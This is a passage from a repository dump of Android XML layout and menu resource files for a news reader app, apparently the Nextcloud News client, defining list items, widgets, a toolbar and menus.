    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_height=\"wrap_content\"\n    android:layout_width=\"wrap_content\"\n    android:background=\"?attr/selectableItemBackground\">\n\n    <View\n        android:id=\"@+id/color_line_feed\"\n        android:layout_height=\"match_parent\"\n        android:layout_width=\"4dp\"\n        android:background=\"?attr/dividerLineColor\"\n        android:layout_marginEnd=\"@dimen/listview_row_margin_left\"/>\n\n    <RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:descendantFocusability=\"blocksDescendants\"\n        android:layout_marginTop=\"@dimen/listview_row_margin_top\"\n        android:layout_marginBottom=\"@dimen/listview_row_margin_bottom\"\n        android:id=\"@+id/list_item_header\">\n\n        <!--\n        android:background=\"@drawable/checkbox_background\"\n            android:button=\"@drawable/checkbox\"\n         -->\n\n\n        <ImageView\n            android:layout_width=\"15dp\"\n            android:layout_height=\"15dp\"\n            android:id=\"@+id/imgViewFavIcon\"\n            tools:src=\"@drawable/default_feed_icon_light\"\n            android:layout_alignStart=\"@+id/summary\"\n            android:layout_marginTop=\"3dp\"\n            android:layout_marginEnd=\"5dp\"\n            android:layout_alignParentStart=\"true\"\n            android:contentDescription=\"@string/content_desc_none\"/>\n\n        <TextView\n            android:id=\"@+id/tv_subscription\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:ellipsize=\"end\"\n            android:gravity=\"center_vertical|start\"\n            android:singleLine=\"true\"\n            tools:text=\"Subscription\"\n            android:textSize=\"15sp\"\n            android:textColor=\"@color/material_grey_500\"\n            android:textAlignment=\"viewStart\"\n            android:layout_alignParentTop=\"true\"\n            android:layout_toEndOf=\"@+id/imgViewFavIcon\"\n            android:layout_toStartOf=\"@+id/tv_item_date\"  />\n\n        <TextView\n            android:id=\"@+id/tv_item_date\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:gravity=\"center_vertical\"\n            android:layout_gravity=\"end\"\n            tools:text=\"21.09.2013\"\n            android:textColor=\"@color/material_grey_500\"\n            android:singleLine=\"true\"\n            android:textSize=\"15sp\"\n            android:layout_marginEnd=\"@dimen/listview_row_margin_right\"\n            android:layout_alignParentTop=\"true\"\n            android:layout_alignParentEnd=\"true\"/>\n\n        <TextView\n            android:id=\"@+id/summary\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:ellipsize=\"end\"\n            android:gravity=\"center_vertical|start\"\n            android:textAlignment=\"viewStart\"\n            android:textSize=\"17sp\"\n            tools:text=\"Summary\"\n            android:textStyle=\"bold\"\n            android:textColor=\"?attr/primaryTextColor\"\n            android:layout_below=\"@+id/imgViewFavIcon\"\n            android:layout_toStartOf=\"@+id/podcast_wrapper\"\n            android:maxLines=\"4\"\n            android:layout_marginTop=\"5dp\"\n            android:layout_alignParentStart=\"true\" />\n\n        <TextView\n            android:id=\"@+id/body\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:gravity=\"start\"\n            android:textAlignment=\"viewStart\"\n            android:ellipsize=\"end\"\n            tools:text=\"Body\"\n            android:textColor=\"@color/text_medium_emphasis\"\n            android:textSize=\"14sp\"\n            android:autoLink=\"none\"\n            android:layout_below=\"@+id/summary\"\n            android:maxLines=\"4\"\n            android:layout_marginTop=\"5dp\"\n            android:paddingBottom=\"@dimen/listview_row_margin_bottom\"\n            android:layout_alignParentStart=\"true\"\n            android:layout_toStartOf=\"@+id/podcast_wrapper\"/>\n\n        <ImageView\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:id=\"@+id/star_imageview\"\n            android:layout_marginTop=\"15dp\"\n            android:paddingTop=\"20dp\"\n            android:paddingBottom=\"20dp\"\n            android:paddingStart=\"8dp\"\n            android:layout_gravity=\"center_vertical\"\n            android:src=\"@drawable/ic_star_black_24dp\"\n            app:tint=\"?attr/starredColor\"\n            android:layout_alignParentEnd=\"true\"\n            android:paddingEnd=\"@dimen/listview_row_margin_left\"\n            android:contentDescription=\"@string/content_desc_add_to_favorites\"/>\n\n        <include\n            layout=\"@layout/subscription_detail_list_item_podcast_wrapper\"\n            android:layout_height=\"wrap_content\"\n            android:layout_width=\"wrap_content\"\n            android:layout_marginStart=\"5dp\"\n            android:layout_marginEnd=\"5dp\"\n            android:layout_marginBottom=\"5dp\"\n            android:layout_marginTop=\"22dp\"\n            android:id=\"@+id/podcast_wrapper\"\n            android:layout_toStartOf=\"@id/star_imageview\" />\n\n    </RelativeLayout>\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/subscription_detail_list_item_thumbnail.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_height=\"wrap_content\"\n    android:layout_width=\"wrap_content\"\n    android:background=\"?attr/selectableItemBackground\">\n\n    <!--\n    <View\n        android:id=\"@+id/color_line_feed\"\n        android:layout_height=\"match_parent\"\n        android:layout_width=\"4dp\"\n        android:background=\"?attr/dividerLineColor\"\n        android:layout_marginEnd=\"@dimen/listview_row_margin_left\" />\n    -->\n\n    <RelativeLayout\n        android:id=\"@+id/list_item_header\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_marginBottom=\"@dimen/listview_row_margin_bottom\"\n        android:descendantFocusability=\"blocksDescendants\"\n        android:paddingStart=\"@dimen/listview_row_margin_left\"\n        android:paddingEnd=\"0dp\">\n\n        <TextView\n            android:id=\"@+id/summary\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentStart=\"true\"\n            android:layout_marginTop=\"@dimen/listview_row_margin_top\"\n            android:layout_marginBottom=\"8dp\"\n            android:layout_toStartOf=\"@id/star_imageview\"\n            android:ellipsize=\"end\"\n            android:gravity=\"center_vertical\"\n            android:maxLines=\"2\"\n            android:textSize=\"17sp\"\n            android:textStyle=\"bold\"\n            android:textColor=\"?attr/primaryTextColor\"\n            tools:text=\"Anruf-InfoSecond\" />\n\n        <ImageView\n            android:id=\"@+id/imgViewThumbnail\"\n            android:layout_width=\"88dp\"\n            android:layout_height=\"88dp\"\n            android:layout_alignParentStart=\"true\"\n            android:layout_below=\"@id/summary\"\n            android:layout_marginTop=\"4dp\"\n            android:layout_marginEnd=\"16dp\"\n            android:contentDescription=\"@string/img_view_thumbnail\"\n            android:scaleType=\"centerCrop\"\n            tools:src=\"@drawable/feed_icon\" />\n\n        <include\n            android:id=\"@+id/podcast_wrapper\"\n            layout=\"@layout/subscription_detail_list_item_podcast_wrapper\"\n            android:layout_height=\"88dp\"\n            android:layout_width=\"88dp\"\n            android:layout_below=\"@id/summary\"/>\n\n        <TextView\n            android:id=\"@+id/body\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"96dp\"\n            android:layout_below=\"@id/summary\"\n            android:layout_toEndOf=\"@id/imgViewThumbnail\"\n            android:ellipsize=\"end\"\n            android:gravity=\"start\"\n            android:layout_marginEnd=\"@dimen/listview_row_margin_right\"\n            android:layout_marginBottom=\"8dp\"\n            android:lineSpacingMultiplier=\"1.2\"\n            android:maxLines=\"4\"\n            android:textAlignment=\"viewStart\"\n            android:textColor=\"@color/text_medium_emphasis\"\n            android:textSize=\"15sp\"\n            android:textStyle=\"normal\"\n            tools:text=\"Anruf-Info djkas dhask dhas dashdajs dha dhas dhas djka a jsa das djsa djas dash djas dashdja sljda dhjas ja dkla da ja da djas djkasas jkas dklas dsa djla hkjdsahkdas hd ashjdas jsak dsada\" />\n\n        <ImageView\n            android:id=\"@+id/star_imageview\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentEnd=\"true\"\n            android:layout_gravity=\"top\"\n            android:contentDescription=\"@string/content_desc_add_to_favorites\"\n            android:paddingBottom=\"8dp\"\n            android:paddingEnd=\"10dp\"\n            android:paddingStart=\"8dp\"\n            android:paddingTop=\"8dp\"\n            app:tint=\"?attr/starredColor\"\n            app:srcCompat=\"@drawable/ic_star_black_24dp\" />\n\n        <ImageView\n            android:id=\"@+id/imgViewFavIcon\"\n            android:layout_width=\"15dp\"\n            android:layout_height=\"15dp\"\n            android:layout_alignParentStart=\"true\"\n            android:layout_below=\"@id/body\"\n            android:layout_marginEnd=\"8dp\"\n            android:layout_marginTop=\"2dp\"\n            android:contentDescription=\"@string/content_desc_none\"\n            tools:src=\"@drawable/default_feed_icon_light\" />\n\n        <TextView\n            android:id=\"@+id/tv_subscription\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_below=\"@id/body\"\n            android:layout_marginBottom=\"8dp\"\n            android:layout_toEndOf=\"@id/imgViewFavIcon\"\n            android:layout_toStartOf=\"@id/tv_item_date\"\n            android:ellipsize=\"end\"\n            android:gravity=\"start\"\n            android:singleLine=\"true\"\n            android:textAlignment=\"viewStart\"\n            android:textColor=\"@color/material_grey_500\"\n            android:textSize=\"13sp\"\n            tools:text=\"PortableApps.com and some other long name behind here! dhajs ak\" />\n\n        <TextView\n            android:id=\"@+id/tv_item_date\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentEnd=\"true\"\n            android:layout_below=\"@id/body\"\n            android:layout_marginEnd=\"@dimen/listview_row_margin_right\"\n            android:layout_marginStart=\"@dimen/listview_row_margin_right\"\n            android:ellipsize=\"end\"\n            android:singleLine=\"true\"\n            android:textColor=\"@color/material_grey_500\"\n            android:textSize=\"13sp\"\n            tools:text=\"vor 13 Stunden\" />\n\n    </RelativeLayout>\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/subscription_detail_list_item_web_layout.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"500dp\"\n    android:orientation=\"vertical\">\n\n    <include\n        android:id=\"@+id/layout_thumbnail\"\n        layout=\"@layout/subscription_detail_list_item_thumbnail\" />\n\n    <WebView\n        android:id=\"@+id/webView_body\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"0dip\"\n        android:layout_weight=\"1\"\n        android:focusable=\"false\"\n        android:clickable=\"false\" />\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/subscription_list_item.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:id=\"@+id/list_item_layout\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"@dimen/exp_listview_row_height\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:orientation=\"horizontal\"\n    android:background=\"?attr/selectableItemBackground\">\n\n    <FrameLayout\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\">\n        <ImageButton\n            android:id=\"@+id/img_View_expandable_indicator\"\n            android:layout_width=\"48dp\"\n            android:layout_height=\"48dp\"\n            android:layout_gravity=\"center_vertical|center_horizontal\"\n            android:src=\"@drawable/ic_action_expand_less_24\"\n            android:clickable=\"true\"\n            android:focusable=\"true\"\n            android:background=\"?attr/selectableItemBackgroundBorderless\"\n            android:padding=\"12dp\"\n            app:tint=\"?attr/colorOnSecondaryContainer\"\n            android:contentDescription=\"@string/content_desc_expand\"/>\n        <ImageView\n            android:id=\"@+id/img_view_favicon\"\n            android:layout_width=\"48dp\"\n            android:layout_height=\"48dp\"\n            android:layout_gravity=\"center_vertical|center_horizontal\"\n            android:clickable=\"false\"\n            android:focusable=\"false\"\n            android:padding=\"12dp\"\n            android:contentDescription=\"@string/content_desc_none\"/>\n    </FrameLayout>\n\n    <TextView\n        android:id=\"@+id/summary\"\n        android:layout_width=\"0dp\"\n        android:layout_height=\"match_parent\"\n        android:layout_marginStart=\"10dp\"\n        android:gravity=\"center_vertical|start\"\n        android:singleLine=\"true\"\n        android:textSize=\"14sp\"\n        android:layout_weight=\"1\"\n        android:textAlignment=\"viewStart\"\n        android:textIsSelectable=\"false\"\n        tools:text=\"Summary\"\n        android:textColor=\"?attr/primaryTextColor\"\n        android:focusable=\"false\"\n        android:clickable=\"false\" />\n\n\n    <TextView\n        android:id=\"@+id/tV_feedsCount\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"match_parent\"\n        android:gravity=\"center_vertical|end\"\n        android:singleLine=\"true\"\n        android:textIsSelectable=\"false\"\n        android:layout_marginEnd=\"16dp\"\n        android:layout_marginStart=\"5dp\"\n        android:textColor=\"?attr/primaryTextColor\"\n        android:textSize=\"12sp\"\n        tools:text=\"13\"\n        android:alpha=\".54\" />\n\n</LinearLayout>\n"
  },
  {
    "path": "News-Android-App/src/main/res/layout/subscription_list_sub_item.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:id=\"@+id/list_item_layout\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"@dimen/exp_listview_row_height\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:orientation=\"horizontal\"\n    android:background=\"?attr/selectableItemBackground\">\n\n    <ImageView\n        android:layout_width=\"24dp\"\n        android:layout_height=\"24dp\"\n        android:layout_gravity=\"center_vertical\"\n        android:layout_marginStart=\"32dp\"\n        android:id=\"@+id/iVFavicon\"\n        android:contentDescription=\"@string/content_desc_none\"\n        tools:src=\"@drawable/default_feed_icon_light\" />\n\n    <TextView\n        android:id=\"@+id/summary\"\n        android:layout_width=\"0dp\"\n        android:layout_height=\"match_parent\"\n        android:layout_marginStart=\"10dp\"\n        android:gravity=\"center_vertical|start\"\n        android:textAlignment=\"viewStart\"\n        android:singleLine=\"true\"\n        android:layout_weight=\"1\"\n        android:textSize=\"14sp\"\n        android:textColor=\"?attr/primaryTextColor\"\n        tools:text=\"Summary\"\n        android:focusable=\"false\" />\n\n    <TextView\n        android:id=\"@+id/tv_unreadCount\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"match_parent\"\n        android:gravity=\"center_vertical|end\"\n        android:singleLine=\"true\"\n        android:layout_marginEnd=\"16dp\"\n        android:layout_marginStart=\"5dp\"\n        android:textSize=\"12sp\"\n        android:textColor=\"?attr/primaryTextColor\"\n        android:alpha=\".54\"\n        tools:text=\"13\" />\n\n</LinearLayout>\n"
  },
  {
    "path": "News-Android-App/src/main/res/layout/toolbar_layout.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<com.google.android.material.appbar.AppBarLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:fitsSystemWindows=\"true\">\n\n    <com.google.android.material.appbar.MaterialToolbar\n        android:id=\"@+id/toolbar\"\n        style=\"@style/Widget.Material3.Toolbar.Surface\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:minHeight=\"?attr/actionBarSize\" />\n\n</com.google.android.material.appbar.AppBarLayout>\n"
  },
  {
    "path": "News-Android-App/src/main/res/layout/widget_fastactions_detailview.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"wrap_content\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:background=\"@drawable/fa_bg\"\n    android:orientation=\"horizontal\"\n    android:animateLayoutChanges=\"true\">\n\n    <!--\n    <androidx.appcompat.widget.AppCompatImageButton\n        android:id=\"@+id/fa_toggle\"\n        android:layout_width=\"56dp\"\n        android:layout_height=\"56dp\"\n        android:background=\"@color/transparent\"\n        app:srcCompat=\"@drawable/ic_fa_expand\" />\n    -->\n\n    <!-- android:layout_toRightOf=\"@id/fa_toggle\" android:visibility=\"gone\"-->\n    <LinearLayout\n        android:id=\"@+id/fa_collapse_layout\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:visibility=\"visible\">\n\n        <androidx.appcompat.widget.AppCompatImageButton\n            android:id=\"@+id/fa_star\"\n            android:layout_width=\"56dp\"\n            android:layout_height=\"56dp\"\n            android:background=\"@android:color/transparent\"\n            android:src=\"@drawable/ic_star_border_24dp_theme_aware\"\n            android:tint=\"?attr/colorControlActivated\"/>\n\n        <androidx.appcompat.widget.AppCompatImageButton\n            android:id=\"@+id/fa_mark_as_read\"\n            android:layout_width=\"56dp\"\n            android:layout_height=\"56dp\"\n            android:background=\"@android:color/transparent\"\n            android:src=\"@drawable/ic_checkbox_outline_theme_aware\"\n            android:tint=\"?attr/colorControlActivated\"/>\n\n        <!--\n        <androidx.appcompat.widget.AppCompatImageButton\n            android:id=\"@+id/fa_share\"\n            android:layout_width=\"56dp\"\n            android:layout_height=\"56dp\"\n            android:background=\"?android:attr/selectableItemBackground\"\n            app:srcCompat=\"@drawable/ic_share_white\" />\n        -->\n    </LinearLayout>\n\n\n    <androidx.appcompat.widget.AppCompatImageButton\n        android:id=\"@+id/fa_open_in_browser\"\n        android:layout_width=\"56dp\"\n        android:layout_height=\"56dp\"\n        android:layout_toEndOf=\"@id/fa_collapse_layout\"\n        android:background=\"@android:color/transparent\"\n        android:src=\"@drawable/ic_action_open_in_browser_24_theme_aware\"\n        android:tint=\"?attr/colorControlActivated\"\n        android:translationZ=\"50dp\" />\n\n</RelativeLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/widget_item.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:id=\"@+id/widget_row_layout\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"64dp\"\n    android:orientation=\"horizontal\"\n    android:baselineAligned=\"false\">\n\n\n    <!--\n    <LinearLayout\n        android:id=\"@+id/color_line_feed\"\n        android:layout_width=\"4dip\"\n        android:layout_height=\"match_parent\"\n        android:orientation=\"horizontal\" />\n    -->\n\n\n    <RelativeLayout\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"center_vertical\"\n        android:layout_marginStart=\"8dp\" >\n\n\n        <RelativeLayout\n            android:id=\"@+id/cb_lv_item_read_wrapper\"\n            android:layout_width=\"52dp\"\n            android:layout_height=\"64dp\"\n            android:layout_gravity=\"end\"\n            android:layout_alignParentEnd=\"true\">\n\n            <ImageView\n                android:id=\"@+id/cb_lv_item_read\"\n                android:layout_width=\"24dp\"\n                android:layout_height=\"24dp\"\n                android:layout_centerVertical=\"true\"\n                android:layout_centerHorizontal=\"true\"\n                android:clickable=\"false\"\n                android:background=\"@drawable/ic_checkbox_white\"\n                android:contentDescription=\"@string/content_desc_mark_as_read\" />\n        </RelativeLayout>\n\n        <TextView\n            android:id=\"@+id/feed_title\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_toStartOf=\"@id/cb_lv_item_read_wrapper\"\n            android:layout_alignParentStart=\"true\"\n            android:gravity=\"center_vertical|start\"\n            android:textAlignment=\"viewStart\"\n            android:singleLine=\"true\"\n            android:textIsSelectable=\"false\"\n            android:clickable=\"false\"\n            tools:text=\"Item title\"\n            android:ellipsize=\"end\"\n            android:layout_marginStart=\"8dp\"\n            android:layout_marginTop=\"12dp\"\n            android:textColor=\"@color/widget_foreground\"\n            android:textSize=\"14sp\"\n            android:textStyle=\"normal\" />\n\n        <TextView\n            android:id=\"@+id/feed_datetime\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_below=\"@+id/feed_title\"\n            android:layout_toStartOf=\"@id/cb_lv_item_read_wrapper\"\n            android:singleLine=\"true\"\n            android:textIsSelectable=\"false\"\n            android:clickable=\"false\"\n            android:alpha=\"0.8\"\n            tools:text=\"07.08.14 19:00\"\n            android:textColor=\"@color/widget_foreground\"\n            android:textSize=\"13sp\" />\n\n        <TextView\n            android:id=\"@+id/feed_author_source\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_below=\"@+id/feed_title\"\n            android:layout_toStartOf=\"@id/feed_datetime\"\n            android:layout_alignParentStart=\"true\"\n            android:gravity=\"start\"\n            android:textAlignment=\"viewStart\"\n            android:singleLine=\"true\"\n            android:textIsSelectable=\"false\"\n            android:clickable=\"false\"\n            android:layout_marginStart=\"8dp\"\n            tools:text=\"Feed name\"\n            android:textColor=\"@color/widget_foreground\"\n            android:textSize=\"13sp\" />\n\n    </RelativeLayout>\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/widget_layout.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<FrameLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:background=\"@drawable/widget_background\">\n\n    <!--\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:background=\"@color/nextcloudBlue\" >\n\n        <TextView\n            android:id=\"@+id/tV_widget_header\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:layout_weight=\"1.0\"            \n            android:padding=\"10dp\"\n            android:text=\"@string/widget_header\"\n            android:textColor=\"#FFF\"\n            android:textSize=\"17sp\" />\n\n    </LinearLayout>\n\n    android:layout_marginTop=\"44dp\"\n    -->\n    \n    <ListView\n        android:id=\"@+id/list_view\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:gravity=\"center\"\n        android:divider=\"@null\"\n        android:dividerHeight=\"0dp\" />\n\n    \n    \t<!--\n    \tandroid:divider=\"#32d1d1d1\"\n        android:dividerHeight=\"1dp\"\n\t\t -->\n    \n</FrameLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout-sw600dp-land/activity_newsreader.xml",
    "content": "<androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    xmlns:sothree=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_height=\"match_parent\">\n\n    <de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout\n        android:id=\"@+id/sliding_layout\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:gravity=\"bottom\"\n        sothree:umanoPanelHeight=\"68dp\"\n        sothree:umanoParallaxOffset=\"100dp\"\n        sothree:umanoShadowHeight=\"4dp\"> <!-- sothree:dragView=\"@+id/name\" -->\n\n        <androidx.coordinatorlayout.widget.CoordinatorLayout\n            android:id=\"@+id/coordinator_layout\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:fitsSystemWindows=\"true\">\n\n            <LinearLayout\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"match_parent\"\n                android:layout_marginTop=\"?attr/actionBarSize\"\n                tools:layout_behavior=\"@string/appbar_scrolling_view_behavior\"\n                android:orientation=\"horizontal\">\n\n                <FrameLayout\n                    android:id=\"@+id/left_drawer\"\n                    android:layout_width=\"@dimen/design_navigation_max_width\"\n                    android:layout_height=\"match_parent\"\n                    android:layout_gravity=\"start\" />\n\n                <fragment\n                    class=\"de.luhmer.owncloudnewsreader.NewsReaderDetailFragment\"\n                    android:id=\"@+id/content_frame\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"match_parent\"\n                    tools:layout=\"@layout/fragment_newsreader_detail\" />\n\n            </LinearLayout>\n\n            <include\n                android:id=\"@+id/toolbar_layout\"\n                layout=\"@layout/toolbar_layout\" />\n\n        </androidx.coordinatorlayout.widget.CoordinatorLayout>\n\n        <FrameLayout\n            android:id=\"@+id/podcast_frame\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\" />\n\n    </de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout>\n</androidx.coordinatorlayout.widget.CoordinatorLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/menu/list_footer_menu.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<menu xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\n    <item\n        android:id=\"@+id/action_add_new_feed\"\n        android:icon=\"@drawable/ic_add_black_24dp\"\n        android:title=\"@string/action_add_new_feed\"/>\n\n    <item\n        android:id=\"@+id/action_add_new_folder\"\n        android:icon=\"@drawable/ic_baseline_create_new_folder_24_black\"\n        android:title=\"@string/action_add_new_folder\"/>\n\n    <item\n        android:id=\"@+id/drawer_settings\"\n        android:icon=\"@drawable/ic_settings_black_24dp\"\n        android:title=\"@string/action_settings\" />\n</menu>"
  },
  {
    "path": "News-Android-App/src/main/res/menu/news_detail.xml",
    "content": "<menu xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\">\n\n    <!-- \n    <item\n        android:id=\"@+id/action_settings\"\n        android:orderInCategory=\"100\"\n        android:showAsAction=\"never\"\n        android:title=\"@string/action_settings\"/>\n     -->\n    \n    <item\n        android:id=\"@+id/action_starred\"\n        app:showAsAction=\"always\"\n        android:icon=\"@drawable/checkbox_background_holo_dark\"\n        android:title=\"@string/action_starred\"/>\n    <!-- android:icon=\"@drawable/btn_rating_star_off_normal_holo_light\" -->\n    \n    <item\n        android:id=\"@+id/action_read\"\n        app:showAsAction=\"always\"\n        android:checkable=\"true\"\n        android:title=\"@string/action_read\" />\n    \n    <item\n        android:id=\"@+id/action_openInBrowser\"\n        app:showAsAction=\"ifRoom\"\n        android:icon=\"@drawable/ic_action_open_in_browser_24_theme_aware\"\n        android:title=\"@string/action_openInBrowser\"/>\n\n    <item\n        android:id=\"@+id/action_removePodcast\"\n        app:showAsAction=\"always\"\n        android:icon=\"@drawable/ic_action_delete_24_theme_aware\"\n        android:title=\"@string/action_removePodcast\"/>\n\n    <item\n        android:id=\"@+id/action_playPodcast\"\n        app:showAsAction=\"always\"\n        android:icon=\"@drawable/ic_baseline_play_arrow_24_theme_aware\"\n        android:title=\"@string/action_playPodacst\"/>\n\n    <item\n        android:id=\"@+id/action_tts\"\n        app:showAsAction=\"never\"\n        android:title=\"@string/action_textToSpeech\"/>\n\n\n    <!-- \n    <item\n        android:id=\"@+id/action_sendSourceCode\"\n        android:showAsAction=\"never\"        \n        android:title=\"@string/action_sendSourceCode\"/>\n\t-->\n\n    <item\n        android:id=\"@+id/action_ShareItem\"\n        app:showAsAction=\"always\"\n        android:icon=\"@drawable/ic_share_theme_aware\"\n        android:title=\"@string/action_Share\" />\n\n    <item\n        android:id=\"@+id/action_incognito_mode\"\n        app:showAsAction=\"always\"\n        android:icon=\"@drawable/incognito\"\n        android:title=\"Incognito Mode\"/>\n\n</menu>"
  },
  {
    "path": "News-Android-App/src/main/res/menu/news_reader.xml",
    "content": "<menu xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\">\n\n    <item android:id=\"@+id/menu_update\"\n        android:title=\"@string/menu_update\"\n        app:showAsAction=\"never\" />\n\n    <item\n        android:id=\"@+id/menu_search\"\n        android:enabled=\"true\"\n        android:icon=\"@drawable/ic_search_24dp_theme_aware\"\n        android:iconifiedByDefault=\"false\"\n        android:title=\"@string/action_search\"\n        android:visible=\"true\"\n        app:tint=\"?attr/colorControlNormal\"\n        app:actionViewClass=\"android.widget.SearchView\"\n        app:showAsAction=\"always|collapseActionView\" />\n\n    <item\n        android:id=\"@+id/menu_account\"\n        android:enabled=\"true\"\n        android:icon=\"@drawable/ic_baseline_account_circle_24\"\n        android:title=\"@string/switch_account\"\n        app:showAsAction=\"ifRoom\" />\n\n    <item\n        android:id=\"@+id/menu_download_web_archive\"\n        android:enabled=\"true\"\n        android:title=\"@string/action_download_articles_offline\"\n        app:showAsAction=\"never\" />\n\n    <item android:id=\"@+id/menu_StartImageCaching\"\n        android:title=\"@string/menu_StartImageCaching\"\n        android:orderInCategory=\"95\"\n        app:showAsAction=\"never\" />\n\n    <item\n        android:id=\"@+id/menu_downloadMoreItems\"\n        app:showAsAction=\"never\"\n        android:orderInCategory=\"96\"\n        android:title=\"@string/menu_downloadMoreItems\"/>\n\n    <item\n        android:id=\"@+id/menu_markAllAsRead\"\n        app:showAsAction=\"never\"\n        android:orderInCategory=\"97\"\n        android:title=\"@string/menu_markAllAsRead\"/>\n\n    <item\n        android:id=\"@+id/menu_toggleShowOnlyUnread\"\n        android:orderInCategory=\"98\"\n        android:title=\"@string/pref_title_ShowOnlyUnread\"\n        android:checkable=\"true\"\n        app:showAsAction=\"never\" />\n\n    <item\n        android:id=\"@+id/action_add_new_feed\"\n        android:orderInCategory=\"101\"\n        app:showAsAction=\"never\"\n        android:visible=\"false\"\n        android:title=\"@string/action_add_new_feed\"/>\n\n    <item\n        android:id=\"@+id/menu_CreateDatabaseDump\"\n        app:showAsAction=\"never\"\n        android:orderInCategory=\"102\"\n        android:title=\"Create Database Dump\"\n        